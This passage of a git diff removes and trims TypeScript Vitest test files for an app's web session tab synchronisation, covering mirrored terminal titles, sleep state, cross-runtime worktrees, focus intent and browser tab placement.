-    vi.useRealTimers()
-    resetRendererOwnedAgentStatusPanesForTests()
-  })
-
-  it('labels the mirrored tab with the host session name over the client first-prompt title', () => {
-    const store = seedPairedClientStore()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({ snapshotVersion: 1, hostNow: T0, includeAgentStatus: true }),
-      T0
-    )
-    replayClientOscWorking(store, T0 + 1_000)()
-    applyHostSnapshot(
-      store,
-      makeHostSnapshot({
-        snapshotVersion: 2,
-        hostNow: T0 + 2_000,
-        includeAgentStatus: true,
-        aiVaultTitle: { agent: 'claude', sessionId: 'session-1', title: 'Login cleanup' },
-        resolvesSessionTitle: true
-      }),
-      T0 + 2_000
-    )
-
-    const tab = (store.getState().tabsByWorktree[WT] ?? []).find((t) => t.id === MIRROR_TAB_ID)
-    expect(tab?.generatedTitle).toBe(EXPECTED_GENERATED_TITLE)
-    expect(resolveTerminalTabTitle(tab!, true)).toBe('Login cleanup')
-  })
-
-  it('follows a resolving host through a rename and a clear', () => {
-    const store = seedPairedClientStore()
-    const publish = (
-      snapshotVersion: number,
-      aiVaultTitle: { agent: 'claude'; sessionId: string; title: string } | null,
-      surface: { title?: string; status?: 'ready' | 'pending-handle' } = {}
-    ) =>
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({
-          snapshotVersion,
-          hostNow: T0 + snapshotVersion * 1_000,
-          includeAgentStatus: true,
-          aiVaultTitle,
-          resolvesSessionTitle: true,
-          ...surface
-        }),
-        T0 + snapshotVersion * 1_000
-      )
-    const mirrored = () =>
-      (store.getState().tabsByWorktree[WT] ?? []).find((t) => t.id === MIRROR_TAB_ID)
-    publish(1, { agent: 'claude', sessionId: 'session-1', title: 'Old' }, { title: 'Old' })
-    // The host's own title already ranks the session name in.
-    publish(2, { agent: 'claude', sessionId: 'session-1', title: 'New' }, { title: 'New' })
-    expect(mirrored()?.aiVaultTitle?.title).toBe('New')
-
-    // An idle pane publishes the placeholder title while the host clears the name.
-    publish(3, null, { title: 'Terminal', status: 'pending-handle' })
-    expect(mirrored()?.aiVaultTitle).toBeUndefined()
-    expect(mirrored()?.sessionTitleFromHost).toBe(true)
-    expect(resolveTerminalTabTitle(mirrored()!, false)).toBe('Terminal')
-  })
-
-  it('takes a saved name back as cache once the host stops resolving it', () => {
-    const store = seedPairedClientStore()
-    const publish = (snapshotVersion: number, title: string, resolvesSessionTitle?: true) =>
-      applyHostSnapshot(
-        store,
-        makeHostSnapshot({
-          snapshotVersion,
-          hostNow: T0 + snapshotVersion * 1_000,
-          includeAgentStatus: true,
-          aiVaultTitle: { agent: 'claude', sessionId: 'session-1', title },
-          ...(resolvesSessionTitle ? { resolvesSessionTitle } : {})
-        }),
-        T0 + snapshotVersion * 1_000
-      )
-    // The window resolves "New"; the host then restarts headless and republishes its saved "Old".
-    publish(1, 'New', true)
-    publish(2, 'Old')
-
-    const tab = (store.getState().tabsByWorktree[WT] ?? []).find((t) => t.id === MIRROR_TAB_ID)
-    expect(tab?.aiVaultTitle?.title).toBe('New')
-    expect(tab?.sessionTitleFromHost).toBeUndefined()
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-sleep-activity.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-sleep-activity.test.ts
deleted file mode 100644
index 707ac565d15..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/agent-status/web-session-tabs-sync-sleep-activity.test.ts
+++ /dev/null
@@ -1,100 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
-import { isInactiveWorkspace } from '../../../lib/worktree-activity-state'
-import {
-  clearWorktreeSleepIntent,
-  markWorktreeSleepIntent
-} from '../../../lib/worktree-sleep-intent'
-import { applyWebSessionTabsSnapshot } from '../snapshot-api'
-import {
-  ENV,
-  HOST_SURFACE_ID,
-  LEAF_ID,
-  NOW,
-  WT,
-  makeSnapshot,
-  makeState,
-  resetWebSessionTabsSyncTestState
-} from '../testing/web-session-tabs-sync.test-fixture'
-
-vi.mock('../../../store/index', () => ({ useAppStore: { setState: vi.fn() } }))
-
-const TAB_ID = toWebTerminalSurfaceTabId('host-tab-1')
-const PTY_ID = `remote:${ENV}@@terminal-1`
-
-function sleptState(worktreeId = WT, ptyId = PTY_ID) {
-  return makeState({
-    activeWorktreeId: 'another-workspace',
-    tabsByWorktree: {
-      [worktreeId]: [
-        {
-          id: TAB_ID,
-          ptyId,
-          worktreeId,
-          title: 'shell',
-          defaultTitle: 'shell',
-          customTitle: null,
-          color: null,
-          sortOrder: 0,
-          createdAt: NOW
-        }
-      ]
-    },
-    ptyIdsByTabId: { [TAB_ID]: [] },
-    terminalLayoutsByTabId: {
-      [TAB_ID]: {
-        root: { type: 'leaf', leafId: LEAF_ID },
-        activeLeafId: LEAF_ID,
-        expandedLeafId: null,
-        ptyIdsByLeafId: { [LEAF_ID]: ptyId }
-      }
-    }
-  })
-}
-
-function pendingSnapshot(worktreeId = WT) {
-  return makeSnapshot(
-    [
-      {
-        type: 'terminal',
-        id: HOST_SURFACE_ID,
-        title: 'shell',
-        parentTabId: 'host-tab-1',
-        leafId: LEAF_ID,
-        isActive: true,
-        status: 'pending-handle',
-        terminal: null
-      }
-    ],
-    { worktree: worktreeId }
-  )
-}
-
-function inactive(state: ReturnType<typeof makeState>, worktreeId = WT) {
-  return isInactiveWorkspace(worktreeId, state.tabsByWorktree, state.ptyIdsByTabId, {}, new Set())
-}
-
-describe('sleep activity during host terminal mirroring', () => {
-  beforeEach(resetWebSessionTabsSyncTestState)
-  afterEach(() => {
-    clearWorktreeSleepIntent(WT)
-  })
-
-  it('keeps a sleeping workspace wake binding inactive', () => {
-    const worktreeId = WT
-    const state = sleptState(worktreeId)
-    markWorktreeSleepIntent(worktreeId)
-    expect(inactive(state, worktreeId)).toBe(true)
-
-    const next = {
-      ...state,
-      ...applyWebSessionTabsSnapshot(state, pendingSnapshot(worktreeId), ENV, NOW + 1)
-    }
-
-    expect(next.terminalLayoutsByTabId[TAB_ID]?.ptyIdsByLeafId).toEqual({ [LEAF_ID]: PTY_ID })
-    expect(next.tabsByWorktree[worktreeId]?.[0]?.ptyId).toBe(PTY_ID)
-    expect(next.ptyIdsByTabId[TAB_ID] ?? []).toEqual([])
-    expect(inactive(next, worktreeId)).toBe(true)
-    expect(next.activeWorktreeId).toBe('another-workspace')
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-cross-runtime-worktree.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-cross-runtime-worktree.test.ts
index 197ed1da624..fa2320d351c 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-cross-runtime-worktree.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/identity/web-session-tabs-sync-cross-runtime-worktree.test.ts
@@ -1,8 +1,5 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type {
-  RuntimeMobileSessionTabsRemovedResult,
-  RuntimeMobileSessionTabsResult
-} from '../../../../../shared/runtime-session-contracts'
+import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
 import { applyWebSessionTabsSnapshot } from '../snapshot-api'
 import type { WebSessionTabsSyncState } from '../state'
 
@@ -157,90 +154,4 @@ describe('a workspace mirrored from two paired runtimes', () => {
       }
     }
   )
-
-  it("retires the other runtime's own terminals, ready or pending, and refocuses a survivor", () => {
-    let state = apply(makeState(), makeSnapshot([serverTerminal('agent-1', true)]), SERVER_ENV, NOW)
-    state = apply(
-      state,
-      makeSnapshot([serverTerminal('a-ready', true), serverTerminal('a-pending', false)], {
-        publicationEpoch: 'desktop-a-epoch'
-      }),
-      DESKTOP_A_ENV,
-      NOW + 1000
-    )
-    expect(terminalIds(state)).toEqual([
-      'web-terminal-a-pending',
-      'web-terminal-a-ready',
-      'web-terminal-agent-1'
-    ])
-    state = { ...state, activeTabIdByWorktree: { [WT]: 'web-terminal-a-ready' } }
-    const retraction: RuntimeMobileSessionTabsRemovedResult = {
-      ...desktopABrowserSnapshot([], 2),
-      removed: true,
-      activeGroupId: null,
-      activeTabId: null,
-      activeTabType: null,
-      tabs: []
-    }
-    state = apply(state, retraction, DESKTOP_A_ENV, NOW + 2000)
-    expect(terminalIds(state)).toEqual(['web-terminal-agent-1'])
-    expect(state.activeTabIdByWorktree[WT]).toBe('web-terminal-agent-1')
-  })
-
-  it('never keeps a shared terminal bound to a runtime that dropped it', () => {
-    let state = apply(makeState(), makeSnapshot([serverTerminal('shared', true)]), SERVER_ENV, NOW)
-    state = apply(
-      state,
-      makeSnapshot([serverTerminal('shared', true)], { publicationEpoch: 'desktop-a-epoch' }),
-      DESKTOP_A_ENV,
-      NOW + 1000
-    )
-    expect(state.tabsByWorktree[WT]?.[0]?.ptyId).toBe(`remote:${DESKTOP_A_ENV}@@pty-shared`)
-    state = apply(state, desktopABrowserSnapshot([], 2), DESKTOP_A_ENV, NOW + 2000)
-    expect(terminalIds(state)).toEqual([])
-    state = apply(
-      state,
-      makeSnapshot([serverTerminal('shared', true)], { snapshotVersion: 2 }),
-      SERVER_ENV,
-      NOW + 3000
-    )
-    expect(state.tabsByWorktree[WT]?.[0]?.ptyId).toBe(`remote:${SERVER_ENV}@@pty-shared`)
-  })
-
-  it("keeps the server's chats when the other runtime's frame lists none", () => {
-    const chat = (sessionId: string): RuntimeMobileSessionTabsResult['tabs'][number] => ({
-      type: 'agent-session',
-      id: `agent-session:${sessionId}`,
-      title: 'Codex Chat',
-      sessionId,
-      agent: 'codex',
-      isActive: false
-    })
-    const chatIds = (s: WebSessionTabsSyncState): string[] =>
-      (s.unifiedTabsByWorktree[WT] ?? [])
-        .filter((tab) => tab.contentType === 'agent-session')
-        .map((tab) => tab.entityId)
-        .sort()
-    let state = apply(
-      makeState(),
-      makeSnapshot([chat('codex-1'), chat('codex-2')]),
-      SERVER_ENV,
-      NOW
-    )
-    state = apply(state, desktopABrowserSnapshot([desktopAPage], 1), DESKTOP_A_ENV, NOW + 1000)
-    expect(chatIds(state)).toEqual(['codex-1', 'codex-2'])
-
-    // A chat both runtimes publish keeps one row, and the server still retires its own.
-    state = apply(
-      state,
-      desktopABrowserSnapshot([desktopAPage, chat('codex-1')], 2),
-      DESKTOP_A_ENV,
-      NOW + 2000
-    )
-    expect((state.unifiedTabsByWorktree[WT] ?? []).map((tab) => tab.id)).toEqual([
-      ...new Set((state.unifiedTabsByWorktree[WT] ?? []).map((tab) => tab.id))
-    ])
-    state = apply(state, makeSnapshot([], { snapshotVersion: 2 }), SERVER_ENV, NOW + 3000)
-    expect(chatIds(state)).toEqual(['codex-1'])
-  })
 })
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts
index 5512ddf7dbe..f5670983b64 100644
--- a/src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts
+++ b/src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts
@@ -25,40 +25,6 @@ vi.mock('../../../store/index', () => ({
 describe('applyWebSessionTabsSnapshot', () => {
   beforeEach(resetWebSessionTabsSyncTestState)
 
-  it('honors a caller chat target even when the host observation selects another chat', () => {
-    const state = makeState()
-    const chat = (id: string, isActive: boolean) => ({
-      type: 'agent-session' as const,
-      id,
-      title: id,
-      sessionId: id.slice('agent-session:'.length),
-      agent: 'codex' as const,
-      isActive
-    })
-    const snapshot = makeSnapshot([chat('agent-session:a', true), chat('agent-session:c', false)], {
-      activeTabId: 'agent-session:a',
-      activeTabType: 'agent-session',
-      tabGroups: [
-        {
-          id: 'host-group-1',
-          activeTabId: 'agent-session:a',
-          tabOrder: ['agent-session:a', 'agent-session:c']
-        }
-      ]
-    })
-    recordWebSessionFocusIntent({ environmentId: ENV }, WT, 'agent-session:c')
-    const patch = applyWebSessionTabsSnapshot(state, snapshot, ENV, NOW)
-    if (!patch) {
-      throw new Error('Expected caller focus to produce a navigation patch')
-    }
-    const selected = patch.groupsByWorktree?.[WT]?.find(
-      (group) => group.id === patch.activeGroupIdByWorktree?.[WT]
-    )?.activeTabId
-    expect(patch.unifiedTabsByWorktree?.[WT]?.find((tab) => tab.id === selected)?.entityId).toBe(
-      'c'
-    )
-  })
-
   it('replays a snapshot that beat the RPC response and focuses the exact adopted leaf', () => {
     const mirroredTabId = toWebTerminalSurfaceTabId('host-tab-1')
     const root = {
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-open-files-batch-equivalence.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-open-files-batch-equivalence.test.ts
deleted file mode 100644
index 69de3c19874..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-open-files-batch-equivalence.test.ts
+++ /dev/null
@@ -1,212 +0,0 @@
-/* Why: the batched open-file path reconciles against a slot-keyed draft instead of
- * rebuilding the global array per snapshot. These seeded cases assert it stays
- * indistinguishable from repeated single-snapshot reconciliation. */
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { OpenFile } from '../../../store/slices/editor/types/open-file'
-import { resetWebSessionFocusIntentForTests } from '../navigation/web-session-focus-intent'
-import { resetWebSessionCloseIntentForTests } from '../closing/web-session-close-intent'
-import { resetWebSessionReorderIntentForTests } from '../navigation/web-session-reorder-intent'
-import { resetWebAgentSessionHandoffsForTests } from '../../hosted-terminals/creation/agent-launch/web-agent-session-handoff'
-import { applyWebSessionTabsSnapshot, applyWebSessionTabsSnapshots } from '../snapshot-api'
-import { resetWebSessionTabsSnapshotFreshnessForTests } from '../tracking-lifecycle'
-import type { WebSessionTabsSyncState } from '../state'
-
-vi.mock('../../../store/index', () => ({ useAppStore: { setState: vi.fn() } }))
-
-const ENV = 'web-env-1'
-const NOW = 1_700_000_000_000
-const WORKTREES = ['repo::/w0', 'repo::/w1', 'repo::/w2', 'repo::/bystander']
-const PATHS = ['/repo/a.ts', '/repo/b.ts', '/repo/c.ts', '/repo/d.ts']
-const ENVS: (string | null | undefined)[] = [ENV, 'other-env', null, undefined]
-
-/** Deterministic LCG so a failing case is reproducible from its seed. */
-function makeRandom(seed: number): () => number {
-  let value = seed >>> 0
-  return () => {
-    value = (value * 1664525 + 1013904223) >>> 0
-    return value / 0x100000000
-  }
-}
-
-function resetModuleState(): void {
-  resetWebSessionTabsSnapshotFreshnessForTests()
-  resetWebSessionFocusIntentForTests()
-  resetWebSessionCloseIntentForTests()
-  resetWebSessionReorderIntentForTests()
-  resetWebAgentSessionHandoffsForTests()
-}
-
-function baseState(overrides: Partial<WebSessionTabsSyncState>): WebSessionTabsSyncState {
-  return {
-    activeBrowserTabId: null,
-    activeBrowserTabIdByWorktree: {},
-    activeFileId: null,
-    activeFileIdByWorktree: {},
-    activeGroupIdByWorktree: {},
-    activeTabId: null,
-    activeTabIdByWorktree: {},
-    activeTabType: 'terminal',
-    activeTabTypeByWorktree: {},
-    activeWorktreeId: WORKTREES[0]!,
-    agentStatusByPaneKey: {},
-    agentStatusEpoch: 0,
-    browserCertificateFailuresByPageId: {},
-    browserPagesByWorkspace: {},
-    browserTabsByWorktree: {},
-    groupsByWorktree: {},
-    layoutByWorktree: {},
-    openFiles: [],
-    editorBuffers: {},
-    ptyIdsByTabId: {},
-    remoteBrowserPageHandlesByPageId: {},
-    tabBarOrderByWorktree: {},
-    tabsByWorktree: {},
-    terminalLayoutsByTabId: {},
-    unifiedTabsByWorktree: {},
-    unreadTerminalTabs: {},
-    sortEpoch: 0,
-    ...overrides
-  }
-}
-
-function pick<T>(random: () => number, items: readonly T[]): T {
-  return items[Math.floor(random() * items.length)]!
-}
-
-function makeCase(seed: number): {
-  state: WebSessionTabsSyncState
-  snapshots: RuntimeMobileSessionTabsResult[]
-} {
-  const random = makeRandom(seed)
-  const openFiles: OpenFile[] = []
-  const fileCount = Math.floor(random() * 9)
-  for (let i = 0; i < fileCount; i += 1) {
-    const path = pick(random, PATHS)
-    const isPreview = random() < 0.2
-    openFiles.push({
-      id: isPreview ? `markdown-preview::${path}` : path,
-      filePath: path,
-      relativePath: path.slice('/repo/'.length),
-      worktreeId: pick(random, WORKTREES),
-      language: 'typescript',
-      isDirty: random() < 0.5,
-      runtimeEnvironmentId: pick(random, ENVS),
-      mode: isPreview ? 'markdown-preview' : 'edit',
-      mirroredFromRuntimeSession: random() < 0.7,
-      // Why: the mirrored file overwrites every compared field, so only a preserved
-      // field like this can reveal which duplicate seeded it.
-      lastKnownDiskSignature: `sig-${seed}-${i}`
-    } as OpenFile)
-  }
-
-  const snapshots: RuntimeMobileSessionTabsResult[] = []
-  const snapshotCount = 1 + Math.floor(random() * 7)
-  for (let s = 0; s < snapshotCount; s += 1) {
-    const worktree = pick(random, WORKTREES)
-    const tabs: RuntimeMobileSessionTabsResult['tabs'] = []
-    const editorCount = Math.floor(random() * 4)
-    const usedPaths = new Set<string>()
-    for (let e = 0; e < editorCount; e += 1) {
-      const path = pick(random, PATHS)
-      if (usedPaths.has(path)) {
-        continue
-      }
-      usedPaths.add(path)
-      const relativePath = path.slice('/repo/'.length)
-      tabs.push(
-        random() < 0.25
-          ? ({
-              type: 'markdown',
-              id: `host-md-${s}-${e}`,
-              title: relativePath,
-              filePath: path,
-              relativePath,
-              language: 'markdown',
-              mode: 'markdown-preview',
-              isDirty: false,
-              isActive: e === 0,
-              sourceFileId: path,
-              sourceFilePath: path,
-              sourceRelativePath: relativePath,
-              documentVersion: `file:${path}`
-            } as RuntimeMobileSessionTabsResult['tabs'][number])
-          : ({
-              type: 'file',
-              id: `host-file-${s}-${e}`,
-              title: relativePath,
-              filePath: path,
-              relativePath,
-              language: 'typescript',
-              isDirty: random() < 0.5,
-              isActive: e === 0
-            } as RuntimeMobileSessionTabsResult['tabs'][number])
-      )
-    }
-    const activeTab = tabs[0]
-    snapshots.push({
-      worktree,
-      publicationEpoch: 'epoch-1',
-      snapshotVersion: s + 1,
-      activeGroupId: `host-group-${worktree}`,
-      activeTabId: activeTab?.id ?? null,
-      activeTabType: activeTab ? (activeTab.type === 'markdown' ? 'markdown' : 'file') : null,
-      tabs
-    })
-  }
-
-  const activeFile = openFiles[Math.floor(random() * Math.max(openFiles.length, 1))]
-  return {
-    state: baseState({
-      openFiles,
-      activeFileId: activeFile?.id ?? null,
-      activeFileIdByWorktree: activeFile ? { [activeFile.worktreeId]: activeFile.id } : {},
-      activeTabTypeByWorktree: activeFile ? { [activeFile.worktreeId]: 'editor' } : {},
-      activeWorktreeId: pick(random, WORKTREES)
-    }),
-    snapshots
-  }
-}
-
-describe('batched open-file reconciliation', () => {
-  beforeEach(() => {
-    resetModuleState()
-  })
-
-  it('matches repeated single-snapshot reconciliation for every seeded case', () => {
-    const divergences: string[] = []
-    for (let seed = 1; seed <= 400; seed += 1) {
-      const { state, snapshots } = makeCase(seed)
-      const stateCopy = structuredClone(state)
-
-      resetModuleState()
-      let sequential = state
-      for (const snapshot of snapshots) {
-        const patch = applyWebSessionTabsSnapshot(sequential, snapshot, ENV, NOW)
-        if (patch !== sequential) {
-          sequential = { ...sequential, ...patch }
-        }
-      }
-
-      resetModuleState()
-      const batched = {
-        ...state,
-        ...applyWebSessionTabsSnapshots(state, snapshots, ENV, NOW)
-      }
-
-      try {
-        expect(batched.openFiles).toEqual(sequential.openFiles)
-        expect(batched.activeFileId).toEqual(sequential.activeFileId)
-        expect(batched.activeFileIdByWorktree).toEqual(sequential.activeFileIdByWorktree)
-        expect(batched.activeTabTypeByWorktree).toEqual(sequential.activeTabTypeByWorktree)
-        expect(batched.unifiedTabsByWorktree).toEqual(sequential.unifiedTabsByWorktree)
-        expect(state).toEqual(stateCopy)
-      } catch (error) {
-        divergences.push(
-          `seed ${seed}: ${error instanceof Error ? error.message.split('\n')[0] : String(error)}`
-        )
-      }
-    }
-    expect(divergences).toEqual([])
-  })
-})
diff --git a/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts b/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts
deleted file mode 100644
index 98816e60262..00000000000
--- a/src/renderer/src/runtime/web-session-tabs-sync/placement/web-session-tabs-sync-browser-tabs.test.ts
+++ /dev/null
@@ -1,365 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { recordWebSessionFocusIntent } from '../navigation/web-session-focus-intent'
-import { buildOwnedEditorFileId } from '../../../store/slices/editor/file-ids/editor-file-ids'
-import type { BrowserPage, BrowserWorkspace } from '../../../../../shared/browser-workspace-types'
-import type { Tab } from '../../../../../shared/tab-types'
-import {
-  moveWebSessionBrowserPlacement,
-  recordWebSessionBrowserPlacement
-} from '../../browser/placement/web-session-browser-placement'
-import { acceptReplayedWebSessionTabsSnapshot } from '../state'
-import { applyFreshWebSessionTabsSnapshot, applyWebSessionTabsSnapshot } from '../snapshot-api'
-import { resolveHostSessionTabIdForWebSessionTab } from '../tracking-mappings'
-import type { WebSessionTabsSyncState } from '../state'
-import {
-  ENV,
-  NOW,
-  WT,
-  makeSnapshot,
-  makeState,
-  resetWebSessionTabsSyncTestState
-} from '../testing/web-session-tabs-sync.test-fixture'
-
-vi.mock('../../../store/index', () => ({
-  useAppStore: {
-    setState: vi.fn()
-  }
-}))
-
-describe('applyWebSessionTabsSnapshot', () => {
-  beforeEach(resetWebSessionTabsSyncTestState)
-
-  it('replays a pre-response browser snapshot after canonical placement and focus are known', () => {
-    const editorGroupId = 'client-editor-group'
-    const previewGroupId = 'client-preview-group'
-    const editorFilePath = '/srv/repo/example.html'
-    // A server's file is named by its owned id from the first open.
-    const editorFileId = buildOwnedEditorFileId(editorFilePath, WT, ENV)
-    const editorTab: Tab = {
-      id: 'host-editor',
-      worktreeId: WT,
-      groupId: editorGroupId,
-      contentType: 'editor',
-      entityId: editorFileId,
-      label: 'example.html',
-      sortOrder: 0,
-      createdAt: NOW,
-      isPreview: false,
-      isPinned: false,
-      customLabel: null,
-      color: null
-    }
-    const state = makeState({
-      activeFileId: editorFileId,
-      activeFileIdByWorktree: { [WT]: editorFileId },
-      activeTabType: 'editor',
-      activeTabTypeByWorktree: { [WT]: 'editor' },
-      activeGroupIdByWorktree: { [WT]: editorGroupId },
-      groupsByWorktree: {
-        [WT]: [
-          {
-            id: editorGroupId,
-            worktreeId: WT,
-            activeTabId: editorTab.id,
-            tabOrder: [editorTab.id]
-          },
-          {
-            id: previewGroupId,
-            worktreeId: WT,
-            activeTabId: null,
-            tabOrder: []
-          }
-        ]
-      },
-      layoutByWorktree: {
-        [WT]: {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', groupId: editorGroupId },
-          second: { type: 'leaf', groupId: previewGroupId },
-          ratio: 0.5
-        }
-      },
-      unifiedTabsByWorktree: { [WT]: [editorTab] }
-    })
-    const snapshot = makeSnapshot(
-      [
-        {
-          type: 'file',
-          id: 'host-editor',
-          title: 'example.html',
-          filePath: editorFilePath,
-          relativePath: 'example.html',
-          language: 'html',
-          isDirty: false,
-          isActive: false
-        },
-        {
-          type: 'browser',
-          id: 'host-browser-tab',
-          title: 'example.html',
-          browserWorkspaceId: 'host-browser-workspace',
-          browserPageId: 'host-browser-page',
-          url: 'file:///srv/repo/example.html',
-          loading: false,
-          canGoBack: false,
-          canGoForward: false,
-          isActive: true
-        }
-      ],
-      { activeTabId: 'host-browser-tab', activeTabType: 'browser' }
-    )
-    recordWebSessionBrowserPlacement({
-      environmentId: ENV,
-      worktreeId: WT,
-      remotePageId: 'provisional-browser-page',
-      groupId: previewGroupId
-    })
-
-    const subscriptionPatch = applyFreshWebSessionTabsSnapshot(state, snapshot, ENV, NOW)
-    const afterSubscription = {
-      ...state,
-      ...(subscriptionPatch as Partial<WebSessionTabsSyncState>)
-    }
-    expect(afterSubscription.activeTabType).toBe('editor')
-    expect(
-      afterSubscription.unifiedTabsByWorktree[WT]?.find((tab) => tab.contentType === 'browser')
-        ?.groupId
-    ).not.toBe(previewGroupId)
-
-    moveWebSessionBrowserPlacement({
-      environmentId: ENV,
-      worktreeId: WT,
-      fromRemotePageId: 'provisional-browser-page',
-      toRemotePageId: 'host-browser-page'
-    })
-    recordWebSessionFocusIntent(
-      { environmentId: ENV },
-      WT,
-      'host-browser-page',
-      undefined,
-      editorTab.id
-    )
-    acceptReplayedWebSessionTabsSnapshot(ENV, WT)
-    const replayPatch = applyFreshWebSessionTabsSnapshot(
-      afterSubscription,
-      snapshot,
-      ENV,
-      NOW + 1
-    ) as Partial<WebSessionTabsSyncState>
-    const afterReplay = { ...afterSubscription, ...replayPatch }
-
-    expect(
-      afterReplay.unifiedTabsByWorktree[WT]?.find((tab) => tab.contentType === 'browser')
-    ).toMatchObject({ id: 'host-browser-tab', groupId: previewGroupId })
-    expect(
-      afterReplay.groupsByWorktree[WT]?.find((group) => group.id === previewGroupId)
-    ).toMatchObject({ activeTabId: 'host-browser-tab', tabOrder: ['host-browser-tab'] })
-    expect(afterReplay.activeBrowserTabIdByWorktree[WT]).toBe('host-browser-workspace')
-    expect(afterReplay.activeTabTypeByWorktree[WT]).toBe('browser')
-  })
-
-  it('reuses a local browser workspace that already points at the host page', () => {
-    const workspace: BrowserWorkspace = {
-      id: 'local-browser-workspace',
-      worktreeId: WT,
-      activePageId: 'local-browser-page',
-      pageIds: ['local-browser-page'],
-      url: 'about:blank',
-      title: 'New Tab',
-      loading: false,
-      faviconUrl: null,
-      canGoBack: false,
-      canGoForward: false,
-      loadError: null,
-      createdAt: NOW - 10
-    }
-    const page: BrowserPage = {
-      id: 'local-browser-page',
-      workspaceId: workspace.id,
-      worktreeId: WT,
-      url: 'about:blank',
-      title: 'New Tab',
-      loading: false,
-      faviconUrl: null,
-      canGoBack: false,
-      canGoForward: false,
-      loadError: null,
-      createdAt: NOW - 10
-    }
-    const unifiedTab: Tab = {
-      id: 'local-browser-unified',
-      entityId: workspace.id,
-      groupId: 'client-moved-group',
-      worktreeId: WT,
-      contentType: 'browser',
-      label: 'New Tab',
-      customLabel: null,
-      color: null,
-      sortOrder: 0,
-      createdAt: NOW - 10,
-      isPreview: false,
-      isPinned: false
-    }
-
-    const patch = applyWebSessionTabsSnapshot(
-      makeState({
-        browserTabsByWorktree: { [WT]: [workspace] },
-        browserPagesByWorkspace: { [workspace.id]: [page] },
-        remoteBrowserPageHandlesByPageId: {
-          [page.id]: { environmentId: ENV, remotePageId: 'host-browser-page' }
-        },
-        unifiedTabsByWorktree: { [WT]: [unifiedTab] },
-        groupsByWorktree: {
-          [WT]: [
-            {
-              id: 'client-moved-group',
-              worktreeId: WT,
-              activeTabId: unifiedTab.id,
-              tabOrder: [unifiedTab.id],
-              recentTabIds: [unifiedTab.id]
-            }
-          ]
-        }
-      }),
-      makeSnapshot(
-        [
-          {
-            type: 'browser',
-            id: 'host-browser-unified',
-            title: 'Example Domain',
-            browserWorkspaceId: 'host-browser-workspace',
-            browserPageId: 'host-browser-page',
-            url: 'https://example.com/',
-            loading: false,
-            canGoBack: false,
-            canGoForward: false,
-            isActive: true
-          }
-        ],
-        { activeTabId: 'host-browser-unified', activeTabType: 'browser' }
-      ),
-      ENV,
-      NOW
-    ) as Partial<WebSessionTabsSyncState>
-
-    expect(patch.browserTabsByWorktree?.[WT]).toHaveLength(1)
-    expect(patch.browserTabsByWorktree?.[WT]?.[0]).toMatchObject({
-      id: workspace.id,
-      activePageId: page.id,
-      url: 'https://example.com/',
-      title: 'Example Domain'
-    })
-    expect(patch.browserPagesByWorkspace?.[workspace.id]).toMatchObject([
-      {
-        id: page.id,
-        workspaceId: workspace.id,
-        url: 'https://example.com/',
-        title: 'Example Domain'
-      }
-    ])
-    expect(patch.unifiedTabsByWorktree?.[WT]?.[0]?.groupId).toBe('client-moved-group')
-    // Absent key, not a missing handle: the seeded { ENV, 'host-browser-page' } handle matched.
-    expect(patch.remoteBrowserPageHandlesByPageId).toBeUndefined()
-    expect(patch.unifiedTabsByWorktree?.[WT]?.map((tab) => tab.id)).toEqual([
-      'local-browser-unified'
-    ])
-    expect(
-      resolveHostSessionTabIdForWebSessionTab(makeState(), {
-        environmentId: ENV,
-        worktreeId: WT,
-        tabId: 'local-browser-unified'
-      })
-    ).toBe('host-browser-unified')
-  })
-
-  it('leaves a local page alone when a server it serves echoes it back unstamped (#38136)', () => {
-    const workspace: BrowserWorkspace = {
-      id: 'own-browser-workspace',
-      worktreeId: WT,
-      activePageId: 'own-browser-page',
-      pageIds: ['own-browser-page'],
-      url: 'https://intranet.local/',
-      title: 'Intranet',
-      loading: false,
-      faviconUrl: null,
-      canGoBack: false,
-      canGoForward: false,
-      loadError: null,
-      createdAt: NOW - 10
-    }
-    const page: BrowserPage = {
-      id: 'own-browser-page',
-      workspaceId: workspace.id,
-      worktreeId: WT,
-      url: 'https://intranet.local/',
-      title: 'Intranet',
-      loading: false,
-      faviconUrl: null,
-      canGoBack: false,
-      canGoForward: false,
-      loadError: null,
-      createdAt: NOW - 10
-    }
-    const unifiedTab: Tab = {
-      id: 'own-browser-unified',
-      entityId: workspace.id,
-      groupId: 'own-group',
-      worktreeId: WT,
-      contentType: 'browser',
-      label: 'Intranet',
-      customLabel: null,
-      color: null,
-      sortOrder: 0,
-      createdAt: NOW - 10,
-      isPreview: false,
-      isPinned: false
-    }
-    const state = makeState({
-      browserTabsByWorktree: { [WT]: [workspace] },
